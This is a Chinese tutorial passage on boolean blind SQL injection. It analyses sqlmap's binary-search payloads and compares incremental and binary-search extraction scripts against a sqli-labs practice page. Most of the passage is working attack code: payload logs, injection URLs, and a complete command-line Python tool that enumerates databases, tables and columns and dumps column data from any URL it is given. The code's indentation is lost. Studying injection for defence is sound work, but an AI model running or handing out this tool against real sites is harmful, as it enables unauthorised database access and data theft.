[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>54 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>52 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>53 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>51 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>48 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>9 AND 'rTJT'='rTJT
[12:09:16] [INFO] retrieved: 5
通过分析payload可以看出sqlmap将count查到的数据库个数使用cast转换为了字符型,然后指定二分法的范围为字符'0'-'9',其ascii码转换为十进制也就是48-57,这个区域中间值为52,而看上面sqlmap在判断数据库个数时的第一个payload比较的值是51,所以可以确定sqlmap指定的二分法的大致范围确实是48-57(‘0’-‘9’)

通过对sqlmap的payload的分析,我想到了一种解决之前那个问题的办法,由于查询个数、长度、记录数的结果一定为数字,那么不管这个数字有多大,只要转换为字符串后,它的每一位一定是在'0'-'9'这个范围内,也就是十进制的48-57,所以只需要把数字转换成字符串,然后去使用二分法,指定二分法的范围为48-57,之后通过二分法可以判断出数字字符串每一位的字符,直到不能判断为止,最终就能得到这个数字
自增查找和二分查找算法对比

和之前的自增查找做一个对比,首先以猜解数据库个数为例,我的数据库个数为5个

在不确定二分法范围时采用的自增算法代码
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=0
while 1:
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' and (select count(schema_name) from information_schema.schemata)=%d-- "%(i)
html=requests.get(url=payload).content
print payload
if basehtml==html:
print i
break
else:
i=i+1

1.png

自增算法发送了5次payload判断出了数据库个数为5
再看一下刚刚说的二分查找算法代码
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),%d,1))>%d-- "%(i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
print s

1.png

在这里二分算法发送了6次payload才判断出来了数据库的个数为5,可以看出当数字比较小的时候,上面的二分法的优势并没有体现出来那么再举一个例子,比如用盲注判断information_schema这个数据库名的长度,长度为18,相比之前的5大了一些,为2位数,再次对比一下两个算法

在不确定二分法范围时采用的自增算法代码
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=0
while 1:
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' and (select length(schema_name) from information_schema.schemata limit 0,1)=%d-- "%(i)
html=requests.get(url=payload).content
print payload
if basehtml==html:
print i
break
else:
i=i+1

1.png

发送了18次payload才判断出information_schema数据库名的长度为18再看一下刚刚说的二分查找算法代码
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' AND ORD(MID((SELECT IFNULL(CAST(length(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA limit 0,1),%d,1))>%d-- "%(i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
print s

1.png

可以看到随着数字的增加,二分法的优势体现出来了,只发送了9次payload就判断出了information_schema数据库名的长度为18盲注脚本加强版

修改过后的盲注脚本,注入速度相比之前的那个明显有所提高
#coding=utf-8
import requests
import sys
from optparse import OptionParser
def getdbnum(url,basehtml):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),%d,1))>%d-- "%(url,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getdbs(url,basehtml,num):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA limit %d,1),%d,1))>%d-- "%(url,n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
#print "len:%s"%(length)
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select schema_name from information_schema.schemata limit %s,1),%s,1))>%s-- "%(url,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def gettablenum(url,basehtml,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,dbname.encode("hex"),i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def gettables(url,basehtml,num,dbname):
print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,dbname.encode("hex"),n,i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select table_name from information_schema.tables where table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getcolumnnum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getcolumns(url,basehtml,num,tablename,dbname):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select column_name from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getdatanum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM %s.%s),%d,1))>%d-- "%(url,dbname,tablename,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def dumpdatas(url,basehtml,num,columnname,tablename,dbname):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(%s) AS CHAR),0x20) FROM %s.%s limit %d,1),%d,1))>%d-- "%(url,columnname,dbname,tablename,n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select %s from %s.%s limit %s,1),%s,1))>%s-- "%(url,columnname,dbname,tablename,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def testurl(url,basehtml):
url1="%s'"%(url)
url2='%s"'%(url)
html1=requests.get(url1).content
html2=requests.get(url2).content
if basehtml!=html1 and basehtml!=html2:
#print "this url maybe injectable,type numeric"
return url
elif basehtml!=html1 and basehtml==html2:
#print "this url maybe injectable,type string(\")"
return url1
elif basehtml==html1 and basehtml!=html2:
#print "this url maybe injectable,type string(\")"
return url2
else:
return False
def main():
parser=OptionParser()
parser.add_option("-u",type="string",dest="url",help="-u url")
parser.add_option("-C",type="string",dest="column",help="-C column1,column2,...,...")
parser.add_option("-T",type="string",dest="table",help="-T table")
parser.add_option("-D",type="string",dest="db",help="-D dadabase")
parser.add_option("--dbs",action="store_true",dest="dbs",help="inject all databases")
parser.add_option("--dump",action="store_true",dest="dump",help="dump columns with selected table and database")
parser.add_option("--tables",action="store_true",dest="tables",help="inject all tables in selected database")
parser.add_option("--columns",action="store_true",dest="columns",help="inject all columns in selected table and database")
(options,args)=parser.parse_args()
if options.url and len(sys.argv)==3:
url=options.url
basehtml=requests.get(url=url).content
result=testurl(url,basehtml)
if result:
print "this url maybe injectable"
else:
print "this url maybe notinjectable"
elif options.url and options.dbs:#--dbs
url=options.url
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdbnum(url,basehtml)
getdbs(url,basehtml,num)
elif options.url and options.tables and options.db:#-u url --tables -D database
url=options.url
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=gettablenum(url,basehtml,db)
gettables(url,basehtml,num,db)
elif options.url and options.columns and options.table and options.db:#-u url --columns -T table -D database
url=options.url
table=options.table
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getcolumnnum(url,basehtml,table,db)
getcolumns(url,basehtml,num,table,db)
elif options.url and options.dump and options.column and options.table and options.db:#-u url --dump -C column -T table -D database
url=options.url
column=options.column
table=options.table
db=options.db
columns=column.split(",")
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdatanum(url,basehtml,table,db)
for column in columns:
dumpdatas(url,basehtml,num,column,table,db)
else:
#print "Please look this script help information,to use --help or -h"
parser.print_help()
if __name__=='__main__':
main()